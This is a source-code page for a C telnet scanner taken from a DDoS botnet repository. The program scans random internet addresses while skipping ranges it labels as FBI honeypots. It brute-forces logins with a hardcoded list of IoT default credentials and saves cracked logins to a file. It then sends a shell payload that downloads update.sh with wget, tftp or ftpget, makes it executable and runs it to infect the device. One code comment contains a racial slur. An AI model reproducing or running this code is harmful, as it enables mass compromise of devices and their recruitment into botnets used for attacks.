CoCalc -- telnet

GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Scanning/TELNET/telnet_scanner.c
⁵⁰³⁸ views
1
#include <stdarg.h>
2
#include <errno.h>
3
#include <stdio.h>
4
#include <stdlib.h>
5
#include <string.h>
6
#include <fcntl.h>
7
#include <strings.h>
8
#include <string.h>
9
#include <unistd.h>
10
#include <dirent.h>
11
#include <poll.h>
12
#include <netdb.h>
13
#include <time.h>
14
#include <net/if.h>
15
#include <sys/wait.h>
16
#include <sys/time.h>
17
#include <sys/ioctl.h>
18
#include <arpa/inet.h>
19
#include <sys/socket.h>
20
#include <netinet/ip.h>
21
#include <netinet/in.h>
22
#include <netinet/tcp.h>
23
#include <netinet/udp.h>
24
#include <resolv.h>
25
//amp setting
26
#define MAX_PACKET_SIZE 1024
27
#define PHI 0x9e3779b9
28

29
//telnet scanner stuff
30
#define BUFFER_SIZE 1024
31
#define CMD_IAC   255
32
#define CMD_WILL  251
33
#define CMD_WONT  252
34
#define CMD_DO    253
35
#define CMD_DONT  254
36

37
#define PAD_RIGHT 1
38
#define PAD_ZERO 2
39
#define PRINT_BUF_LEN 12
40

41
#define OPT_SGA   3
42
#define SOCKBUF_SIZE 1024
43

44

45
// Telnet scanner payload, must end with \r\n\0
46
char *rekdevice = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://0.0.0.0/update.sh; busybox wget http://0.0.0.0/update.sh; tftp -r update.sh -g 0.0.0.0; busybox tftp -r update.sh -g 0.0.0.0; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 update.sh update.sh; busybox ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 update.sh update.sh; chmod 777 update.sh; busybox chmod 777 update.sh; sh update.sh; rm -rf update.sh\r\n\0";
47

48
char *usernames[] = {
49
    "\0",
50
    "root\0",
51
    "root\0",
52
    "root\0",
53
    "root\0",
54
    "root\0",
55
    "root\0",
56
    "root\0",
57
    "root\0",
58
    "root\0",
59
    "root\0",
60
    "root\0",
61
    "root\0",
62
    "root\0",
63
    "root\0",
64
    "root\0",
65
    "root\0",
66
    "root\0",
67
    "root\0",
68
    "root\0",
69
    "root\0",
70
    "root\0",
71
    "root\0",
72
    "root\0",
73
    "root\0",
74
    "root\0",
75
    "root\0",
76
    "root\0",
77
    "root\0",
78
    "admin\0",
79
    "admin\0",
80
    "admin\0",
81
    "admin\0",
82
    "admin\0",
83
    "admin\0",
84
    "admin\0",
85
    "admin\0",
86
    "admin\0",
87
    "admin\0",
88
    "admin\0",
89
    "admin\0",
90
    "admin\0",
91
    "admin\0",
92
    "admin\0",
93
    "admin\0",
94
    "admin\0",
95
    "admin\0",
96
    "admin\0",
97
    "admin\0",
98
    "admin\0",
99
    "guest\0",
100
    "guest\0",
101
    "guest\0",
102
    "guest\0",
103
    "guest\0",
104
    "guest\0",
105
    "guest\0",
106
    "root\0",
107
    "admin\0",
108
    "root\0",
109
    "default\0",
110
    "user\0",
111
    "guest\0",
112
    "daemon\0",
113
    "admin\0",
114
    "admin\0",
115
    "root\0",
116
    "admin\0",
117
    "adm\0",
118
    "guest\0",
119
    "root\0",
120
    "root\0",
121
    "telnet\0",
122
    "root\0",
123
    "admin\0",
124
    "admin\0",
125
    "Administrator\0",
126
    "root\0",
127
    "mg3500\0",
128
    "admin\0",
129
    "admin\0",
130
    "admin\0",
131
    "admin\0",
132
    "admin\0",
133
    "admin\0",
134
    "default\0",
135
    "admin\0",
136
    "admin\0",
137
    "admin\0",
138
    "root\0",
139
    "root\0",
140
    "root\0",
141
    "root\0",
142
    "admin1\0",
143
    "ubnt\0",
144
    "support\0",
145
    "root\0",
146
    "user\0",
147
    "guest\0"
148
};
149

150
char *passwords[] = {
151
    "\0",
152
    "root\0",
153
    "password\0",
154
    "\0",
155
    "Zte521\0",
156
    "vizxv\0",
157
    "000000\0",
158
    "14567\0",
159
    "hi3518\0",
160
    "user\0",
161
    "pass\0",
162
    "admin14\0",
163
    "7ujMko0admin\0",
164
    "00000000\0",
165
    "<>\0",
166
    "klv1\0",
167
    "klv14\0",
168
    "oelinux1\0",
169
    "realtek\0",
170
    "1111\0",
171
    "54321\0",
172
    "antslq\0",
173
    "zte9x15\0",
174
    "system\0",
175
    "1456\0",
176
    "888888\0",
177
    "ikwb\0",
178
    "default\0",
179
    "juantech\0",
180
    "xc3511\0",
181
    "support\0",
182
    "1111111\0",
183
    "service\0",
184
    "145\0",
185
    "4321\0",
186
    "tech\0",
187
    "<>\0",
188
    "abc1\0",
189
    "7ujMko0admin\0",
190
    "switch\0",
191
    "admin14\0",
192
    "\0",
193
    "1111\0",
194
    "meinsm\0",
195
    "pass\0",
196
    "smcadmin\0",
197
    "14567890\0",
198
    "14\0",
199
    "admin1\0",
200
    "password\0",
201
    "admin\0",
202
    "anko\0",
203
    "xc3511\0",
204
    "1456\0",
205
    "\0",
206
    "guest\0",
207
    "145\0",
208
    "xc3511\0",
209
    "admin\0",
210
    "Zte521\0",
211
    "\0",
212
    "user\0",
213
    "guest\0",
214
    "\0",
215
    "password\0",
216
    "admin1\0",
217
    "ikwb\0",
218
    "14567890\0",
219
    "\0",
220
    "\0",
221
    "1456\0",
222
    "root\0",
223
    "telnet\0",
224
    "zte9x15\0",
225
    "meinsm\0",
226
    "\0",
227
    "\0",
228
    "antslq\0",
229
    "merlin\0",
230
    "switch\0",
231
    "7ujMko0admin\0",
232
    "abc1\0",
233
    "<>\0",
234
    "tech\0",
235
    "4321\0",
236
    "default\0",
237
    "145\0",
238
    "service\0",
239
    "1111111\0",
240
    "admin14\0",
241
    "pass\0",
242
    "user\0",
243
    "hi3518\0",
244
    "password\0",
245
    "ubnt\0",
246
    "zlxx.\0",
247
    "14567\0",
248
    "000000\0"
249
};
250

251
char *advances[] = {
252
    ":",
253
    "ser",
254
    "ogin",
255
    "name",
256
    "pass",
257
    "dvrdvs",
258
    (char *) 0
259
};
260
char *fails[] = {
261
    "nvalid",
262
    "ailed",
263
    "ncorrect",
264
    "enied",
265
    "error",
266
    "goodbye",
267
    "bad",
268
    "timeout",
269
    (char *) 0
270
};
271
char *successes[] = {
272
    "$",
273
    "#",
274
    ">",
275
    "@",
276
    "shell",
277
    "dvrdvs",
278
    "usybox",
279
    (char *) 0
280
};
281
char *advances2[] = {
282
    ":",
283
    "nvalid",
284
    "ailed",
285
    "ncorrect",
286
    "enied",
287
    "rror",
288
    "oodbye",
289
    "bad",
290
    "busybox",
291
    "$",
292
    "#",
293
    (char *) 0
294
};
295
char *legit[] = {
296
    "AK47",
297
    (char *) 0
298
};
299
char *infected[] = {
300
    "CAPSAICIN",
301
    (char *) 0
302
};
303

304
int scanPid = 0;
305

306
struct telstate_t {
307
    int fd;
308
    unsigned int ip;
309
    unsigned char state;
310
    unsigned char complete;
311
    unsigned char usernameInd; /* username     */
312
    unsigned char passwordInd; /* password     */
313
    unsigned int totalTimeout; /* totalTimeout */
314
    char *sockbuf;
315
};
316

317
struct ipstate_t {
318
    int fd;
319
    unsigned int ip;
320
    unsigned char state;
321
    unsigned char complete;
322
    unsigned char usernameInd;
323
    unsigned char passwordInd;
324
    unsigned int totalTimeout;
325
    unsigned int telPort;
326
    char *sockbuf;
327
};
328

329
static uint32_t Q[4096], c = 362436;
330

331
void init_rand(uint32_t x)
332
{
333
    int i;
334
    Q[0] = x;
335
    Q[1] = x + PHI;
336
    Q[2] = x + PHI + PHI;
337
    for (i = 3; i < 4096; i++)
338
    Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
339
}
340

341
uint32_t rand_cmwc(void)
342
{
343
    uint64_t t, a = 18782LL;
344
    static uint32_t i = 4095;
345
    uint32_t x, r = 0xfffffffe;
346
    i = (i + 1)&4095;
347
    t = a * Q[i] + c;
348
    c = (t >> 32);
349
    x = t + c;
350
    if(x < c) {
351
        x++;
352
        c++;
353
    }
354
    return (Q[i] = r - x);
355
}
356

357
static void printchar(unsigned char ** str, int c) {
358
    if (str) { **
359
        str = c;
360
        ++( * str);
361
    } else(void) write(1,&c, 1);
362
}
363
static int prints(unsigned char ** out,
364
    const unsigned char *string, int width, int pad) {
365
    register int pc = 0, padchar = ' ';
366
    if (width > 0) {
367
        register int len = 0;
368
        register
369
        const unsigned char *ptr;
370
        for (ptr = string;* ptr; ++ptr) ++len;
371
        if (len >= width) width = 0;
372
        else width -= len;
373
        if (pad&PAD_ZERO) padchar = '0';
374
    }
375
    if (!(pad&PAD_RIGHT)) {
376
        for (; width > 0; --width) {
377
            printchar(out, padchar);
378
            ++pc;
379
        }
380
    }
381
    for (;* string; ++string) {
382
        printchar(out, * string);
383
        ++pc;
384
    }
385
    for (; width > 0; --width) {
386
        printchar(out, padchar);
387
        ++pc;
388
    }
389
    return pc;
390
}
391
static int printi(unsigned char ** out, int i, int b, int sg, int width, int pad, int letbase) {
392
    unsigned char print_buf[PRINT_BUF_LEN];
393
    register unsigned char *s;
394
    register int t, neg = 0, pc = 0;
395
    register unsigned int u = i;
396
    if (i == 0) {
397
        print_buf[0] = '0';
398
        print_buf[1] = '\0';
399
        return prints(out, print_buf, width, pad);
400
    }
401
    if (sg && b == 10 && i < 0) {
402
        neg = 1;
403
        u = -i;
404
    }
405

406
    s = print_buf + PRINT_BUF_LEN - 1;
407
    * s = '\0';
408
    while (u) {
409
        t = u % b;
410
        if (t >= 10)
411
            t += letbase - '0' - 10;
412
        *--s = t + '0';
413
        u /= b;
414
    }
415
    if (neg) {
416
        if (width && (pad&PAD_ZERO)) {
417
            printchar(out, '-');
418
            ++pc;
419
            --width;
420
        } else {
421
            *--s = '-';
422
        }
423
    }
424

425
    return pc + prints(out, s, width, pad);
426
}
427
static int print(unsigned char ** out,
428
    const unsigned char *format, va_list args) {
429
    register int width, pad;
430
    register int pc = 0;
431
    unsigned char scr[2];
432
    for (;* format != 0; ++format) {
433
        if ( * format == '%') {
434
            ++format;
435
            width = pad = 0;
436
            if ( * format == '\0') break;
437
            if ( * format == '%') goto out;
438
            if ( * format == '-') {
439
                ++format;
440
                pad = PAD_RIGHT;
441
            }
442
            while ( * format == '0') {
443
                ++format;
444
                pad |= PAD_ZERO;
445
            }
446
            for (;* format >= '0' && * format <= '9'; ++format) {
447
                width *= 10;
448
                width += * format - '0';
449
            }
450
            if ( * format == 's') {
451
                register char *s = (char *) va_arg(args, int);
452
                pc += prints(out, s ? s : "(null)", width, pad);
453
                continue;
454
            }
455
            if ( * format == 'd') {
456
                pc += printi(out, va_arg(args, int), 10, 1, width, pad, 'a');
457
                continue;
458
            }
459
            if ( * format == 'x') {
460
                pc += printi(out, va_arg(args, int), 16, 0, width, pad, 'a');
461
                continue;
462
            }
463
            if ( * format == 'X') {
464
                pc += printi(out, va_arg(args, int), 16, 0, width, pad, 'A');
465
                continue;
466
            }
467
            if ( * format == 'u') {
468
                pc += printi(out, va_arg(args, int), 10, 0, width, pad, 'a');
469
                continue;
470
            }
471
            if ( * format == 'c') {
472
                scr[0] = (unsigned char) va_arg(args, int);
473
                scr[1] = '\0';
474
                pc += prints(out, scr, width, pad);
475
                continue;
476
            }
477
        } else {
478
            out: printchar(out, * format);
479
            ++pc;
480
        }
481
    }
482
    if (out) ** out = '\0';
483
    va_end(args);
484
    return pc;
485
}
486

487
int szprintf(unsigned char *out,
488
    const unsigned char *format, ...) {
489
    va_list args;
490
    va_start(args, format);
491
    return print(&out, format, args);
492
}
493

494
char *thanks = "thanks to unhappygh0st for the honeypot ip ranges :)";
495

496
in_addr_t getDatIP() {
497
    uint8_t ipState[4] = {
498
        0
499
    };
500
    ipState[0] = rand() % 255;
501
    ipState[1] = rand() % 255;
502
    ipState[2] = rand() % 255;
503
    ipState[3] = rand() % 255;
504

505
    while (
506
        (ipState[0] == 0) ||
507
        (ipState[0] == 10) ||
508
        (ipState[0] == 100 && (ipState[1] >= 64 && ipState[1] <= 127)) ||
509
        (ipState[0] == 127) ||
510
        (ipState[0] == 169 && ipState[1] == 254) ||
511
        (ipState[0] == 172 && (ipState[1] <= 16 && ipState[1] <= 31)) ||
512
        (ipState[0] == 192 && ipState[1] == 0 && ipState[2] == 2) ||
513
        (ipState[0] == 192 && ipState[1] == 88 && ipState[2] == 99) ||
514
        (ipState[0] == 192 && ipState[1] == 168) ||
515
        (ipState[0] == 198 && (ipState[1] == 18 || ipState[1] == 19)) ||
516
        (ipState[0] == 198 && ipState[1] == 51 && ipState[2] == 100) ||
517
        (ipState[0] == 203 && ipState[1] == 0 && ipState[2] == 113) ||
518
        (ipState[0] == 62 && ipState[1] <= 30) || //Honeypot
519
        (ipState[0] == 207 && ipState[1] >= 31 && ipState[2] <= 120) || //FBI Honeypots (207.31.0.0 - 207.120.255.255) 
520
        (ipState[0] == 65) && (ipState[1] >= 224) && (ipState[2] <= 226) || // More FBI Honeypots (64.224.0.0 - 64.226.255.255)
521
        (ipState[0] == 195) && (ipState[1] == 10) || //Yet another FBI Honeypot. 
522
        (ipState[0] == 216) && (ipState[1] == 25 || ipState[1] == 94) || //Fucking nigger LOL (FBI Honeypots)
523
        (ipState[0] == 212) && (ipState[1] == 56) || //The fuck?! 212.56.107.22 - uhhhhm. FBI Honeypot. 
524
        (ipState[0] >= 224) && (ipState[0] <= 239) //Multicast ip ranges
525
    ) {
526
        ipState[0] = rand() % 255;
527
        ipState[1] = rand() % 255;
528
        ipState[2] = rand() % 255;
529
        ipState[3] = rand() % 255;
530
    }
531

532
    char ip[16] = {
533
        0
534
    };
535
    szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
536
    return inet_addr(ip);
537
}
538
int negotiate(int sock, unsigned char *buf, int len) {
539
    unsigned char c;
540
    switch (buf[1]) {
541
    case CMD_IAC:
542
        return 0;
543
    case CMD_WILL:
544
    case CMD_WONT:
545
    case CMD_DO:
546
    case CMD_DONT:
547
        c = CMD_IAC;
548
        send(sock,&c, 1, MSG_NOSIGNAL);
549
        if (CMD_WONT == buf[1]) c = CMD_DONT;
550
        else if (CMD_DONT == buf[1]) c = CMD_WONT;
551
        else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
552
        else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
553
        send(sock,&c, 1, MSG_NOSIGNAL);
554
        send(sock,&(buf[2]), 1, MSG_NOSIGNAL);
555
        break;
556
    default:
557
        break;
558
    }
559

560
    return 0;
561
}
562

563
int contains_string(char *buffer, char ** strings) {
564
    int num_strings = 0, i = 0;
565
    for (num_strings = 0; strings[++num_strings] != 0;);
566
    for (i = 0; i < num_strings; i++) {
567
        if (strcasestr(buffer, strings[i])) {
568
            return 1;
569
        }
570
    }
571
    return 0;
572
}
573
int contains_success(char *buffer) {
574
    return contains_string(buffer, successes);
575
}
576
int contains_fail(char *buffer) {
577
    return contains_string(buffer, fails);
578
}
579
int contains_response(char *buffer) {
580
    return contains_success(buffer) || contains_fail(buffer);
581
}
582
int read_with_timeout(int fd, int timeout_usec, char *buffer, int buf_size) {
583
    fd_set read_set;
584
    struct timeval tv;
585
    tv.tv_sec = 0;
586
    tv.tv_usec = timeout_usec;
587
    FD_ZERO(&read_set);
588
    FD_SET(fd,&read_set);
589
    if (select(fd + 1,&read_set, NULL, NULL,&tv) < 1)
590
        return 0;
591
    return recv(fd, buffer, buf_size, 0);
592
}
593
int read_until_response(int fd, int timeout_usec, char *buffer, int buf_size, char ** strings) {
594
    int num_bytes, i;
595
    memset(buffer, 0, buf_size);
596
    num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
597
    if (&buffer[0] == "\xFF") {
598
        negotiate(fd, buffer, 3);
599
    }
600

601
    if (contains_string(buffer, strings)) {
602
        return 1;
603
    }
604

605
    return 0;
606
}
607
const char *get_telstate_host(struct telstate_t * telstate) { // get host
608
    struct in_addr in_addr_ip;
609
    in_addr_ip.s_addr = telstate->ip;
610
    return inet_ntoa(in_addr_ip);
611
}
612
void advance_telstate(struct telstate_t * telstate, int new_state) { // advance
613
    if (new_state == 0) {
614
        close(telstate->fd);
615
    }
616
    telstate->totalTimeout = 0;
617
    telstate->state = new_state;
618
    memset((telstate->sockbuf), 0, SOCKBUF_SIZE);
619
}
620
void reset_telstate(struct telstate_t * telstate) { // reset
621
    advance_telstate(telstate, 0);
622
    telstate->complete = 1;
623
}
624
int sclose(int fd) {
625
    if (3 > fd) return 1;
626
    close(fd);
627
    return 0;
628
}
629
void ak47telscan(int wait_usec, int maxfds) {
630
    int i, res, num_tmps, j;
631
    char buf[128], cur_dir;
632

633
    int max = maxfds;
634
    fd_set fdset;
635
    struct timeval tv;
636
    socklen_t lon;
637
    int valopt;
638

639
    srand(time(NULL) ^ rand_cmwc());
640

641
    char line[256];
642
    char *buffer;
643
    struct sockaddr_in dest_addr;
644
    dest_addr.sin_family = AF_INET;
645
    dest_addr.sin_port = htons(23);
646
    memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
647

648
    buffer = malloc(BUFFER_SIZE + 1);
649
    memset(buffer, 0, BUFFER_SIZE + 1);
650

651
    struct telstate_t fds[max];
652

653
    memset(fds, 0, max * (sizeof(int) + 1));
654
    for (i = 0; i < max; i++) {
655
        memset(&(fds[i]), 0, sizeof(struct telstate_t));
656
        fds[i].complete = 1;
657
        fds[i].sockbuf = buffer;
658
    }
659

660
    while (1) {
661
        for (i = 0; i < max; i++) {
662
            if (fds[i].totalTimeout == 0) {
663
                fds[i].totalTimeout = time(NULL);
664
            }
665

666
            switch (fds[i].state) {
667
            case 0:
668
                {
669
                    if (fds[i].complete == 1) {
670
                        // clear the current fd
671
                        char *tmp = fds[i].sockbuf;
672
                        memset(&(fds[i]), 0, sizeof(struct telstate_t));
673
                        fds[i].sockbuf = tmp;
674
                        // get a new random ip
675
                        fds[i].ip = getDatIP();
676
                    } else if (fds[i].complete == 0) {
677
                        fds[i].passwordInd++;
678
                        fds[i].usernameInd++;
679

680
                        if (fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) {
681
                            fds[i].complete = 1;
682
                            continue;
683
                        }
684
                        if (fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) {
685
                            fds[i].complete = 1;
686
                            continue;
687
                        }
688
                    }
689

690
                    dest_addr.sin_family = AF_INET;
691
                    dest_addr.sin_port = htons(23);
692
                    memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
693
                    dest_addr.sin_addr.s_addr = fds[i].ip;
694

695
                    fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
696

697
                    if (fds[i].fd == -1) continue;
698

699
                    fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
700

701
                    if (connect(fds[i].fd, (struct sockaddr * )&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
702
                        reset_telstate(&fds[i]);
703
                    } else {
704
                        advance_telstate(&fds[i], 1);
705
                    }
706
                }
707
                break;
708
            case 1:
709
                {
710
                    printf("[AK-47] FOUND ---> %s:23\n", get_telstate_host(&fds[i]));
711
                    FD_ZERO(&fdset);
712
                    FD_SET(fds[i].fd,&fdset);
713
                    tv.tv_sec = 0;
714
                    tv.tv_usec = wait_usec;
715
                    res = select(fds[i].fd + 1, NULL,&fdset, NULL,&tv);
716

717
                    if (res == 1) {
718
                        lon = sizeof(int);
719
                        valopt = 0;
720
                        getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void * )(&valopt),&lon);
721
                        //printf("%d\n",valopt);
722
                        if (valopt) {
723
                            reset_telstate(&fds[i]);
724
                        } else {
725
                            fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL)&(~O_NONBLOCK));
726
                            advance_telstate(&fds[i], 2);
727
                        }
728
                        continue;
729
                    } else if (res == -1) {
730
                        reset_telstate(&fds[i]);
731
                        continue;
732
                    }
733

734
                    if (fds[i].totalTimeout + 5 < time(NULL)) {
735
                        reset_telstate(&fds[i]);
736
                    }
737
                }
738
                break;
739

740
            case 2:
741
                {
742
                    if (read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances)) {
743
                        if (contains_fail(fds[i].sockbuf)) {
744
                            advance_telstate(&fds[i], 0);
745
                        } else {
746
                            advance_telstate(&fds[i], 3);
747
                        }
748

749
                        continue;
750
                    }
751

752
                    if (fds[i].totalTimeout + 7 < time(NULL)) {
753
                        reset_telstate(&fds[i]);
754
                    }
755
                }
756
                break;
757

758
            case 3:
759
                {
760
                    if (send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) {
761
                        reset_telstate(&fds[i]);
762
                        continue;
763
                    }
764

765
                    if (send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
766
                        reset_telstate(&fds[i]);
767
                        continue;
768
                    }
769

770
                    advance_telstate(&fds[i], 4);
771
                }
772
                break;
773

774
            case 4:
775
                {
776
                    if (read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances)) {
777
                        if (contains_fail(fds[i].sockbuf)) {
778
                            advance_telstate(&fds[i], 0);
779
                        } else {
780
                            advance_telstate(&fds[i], 5);
781
                        }
782
                        continue;
783
                    }
784

785
                    if (fds[i].totalTimeout + 3 < time(NULL)) {
786
                        reset_telstate(&fds[i]);
787
                    }
788
                }
789
                break;
790

791
            case 5:
792
                {
793
                    if (send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) {
794
                        reset_telstate(&fds[i]);
795
                        continue;
796
                    }
797

798
                    if (send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
799
                        reset_telstate(&fds[i]);
800
                        continue;
801
                    }
802
                    advance_telstate(&fds[i], 6);
803
                }
804
                break;
805

806
            case 6:
807
                {
808
                    if (read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances2)) {
809
                        fds[i].totalTimeout = time(NULL);
810

811
                        if (contains_fail(fds[i].sockbuf)) {
812
                            advance_telstate(&fds[i], 0);
813
                        } else if (contains_success(fds[i].sockbuf)) {
814
                            if (fds[i].complete == 2) {
815
                                advance_telstate(&fds[i], 7);
816
                            } else {
817
                                printf("[AK-47] [-] CRACKED ---> %s:23 %s:%s\n", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
818
                                char command[1024];
819
                                sprintf(command, "echo '%s:23 %s:%s' >> cracked.txt", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd],  passwords[fds[i].passwordInd]);
820
                                system(command);
821
                                advance_telstate(&fds[i], 7);
822
                            }
823
                        } else {
824
                            reset_telstate(&fds[i]);
825
                        }
826
                        continue;
827
                    }
828

829
                    if (fds[i].totalTimeout + 7 < time(NULL)) {
830
                        reset_telstate(&fds[i]);
831
                    }
832
                }
833
                break;
834
            case 7:
835
                {
836
                    fds[i].totalTimeout = time(NULL);
837
                    if (send(fds[i].fd, "enable\r\n", 8, MSG_NOSIGNAL) < 0) {
838
                        sclose(fds[i].fd);
839
                        fds[i].state = 0;
840
                        fds[i].complete = 1;
841
                        continue;
842
                    }
843
                    if (send(fds[i].fd, "system\r\n", 8, MSG_NOSIGNAL) < 0) {
844
                        sclose(fds[i].fd);
845
                        fds[i].state = 0;
846
                        fds[i].complete = 1;
847
                        continue;
848
                    }
849
                    if (send(fds[i].fd, "shell\r\n", 7, MSG_NOSIGNAL) < 0) {
850
                        sclose(fds[i].fd);
851
                        fds[i].state = 0;
852
                        fds[i].complete = 1;
853
                        continue;
854
                    }
855
                    if (send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) {
856
                        sclose(fds[i].fd);
857
                        fds[i].state = 0;
858
                        fds[i].complete = 1;
859
                        continue;
860
                    }
861
                    if(send(fds[i].fd, "echo -e '\\x41\\x4b\\x34\\x37'", 26, MSG_NOSIGNAL) < 0) {
862
                        sclose(fds[i].fd);
863
                        fds[i].state = 0;
864
                        fds[i].complete = 1;
865
                        continue;
866
                    }
867
                    if (read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, legit)) {
868
                        if (send(fds[i].fd, rekdevice, strlen(rekdevice), MSG_NOSIGNAL) > 0) {
869
                            printf("[AK-47] [-] PAYLOAD SENT ---> %s:23 %s:%s\n", inet_ntoa( * (struct in_addr * )&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
870
                            reset_telstate(&fds[i]);
871
                        }
872
                        sleep(20);
873
                        if (read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, infected)) {
874
                            printf("[AK-47] [+] SUCCESSFUL INFECTION ---> %s:23 %s:%s\n", inet_ntoa( * (struct in_addr * )&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
875
                            reset_telstate(&fds[i]);
876
                            continue;
877
                        }
878
                        if (fds[i].totalTimeout + 60 < time(NULL)) {
879
                            if (fds[i].complete != 3) {
880
                                printf("[AK-47] [-] FAILED TO INFECT ---> %s:23 %s:%s\n", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
881
                            }
882
                            reset_telstate(&fds[i]);
883
                        }
884
                    }
885
                    break;
886
                }
887
            }
888
        }
889
    }
890
}
891

892
int main(int argc, char **argv) {
893
    uint32_t parent;
894
    parent = fork();
895
    int forks = sysconf(_SC_NPROCESSORS_ONLN);
896
    int fds = forks * 512; //Far effective. 512 sockets for each CPU.
897
    if (parent > 0) {
898
        scanPid = parent;
899
        return 0;
900
    } else if (parent == -1) return 1;
901
    int ii;
902
    for (ii = 0; ii < forks; ii++) {
903
        srand((time(NULL) ^ getpid()) + getppid());
904
        init_rand(time(NULL) ^ getpid());
905
        ak47telscan(370, fds);
906
    }
907
    return 0;
908
}
909
Product

Resources

Company
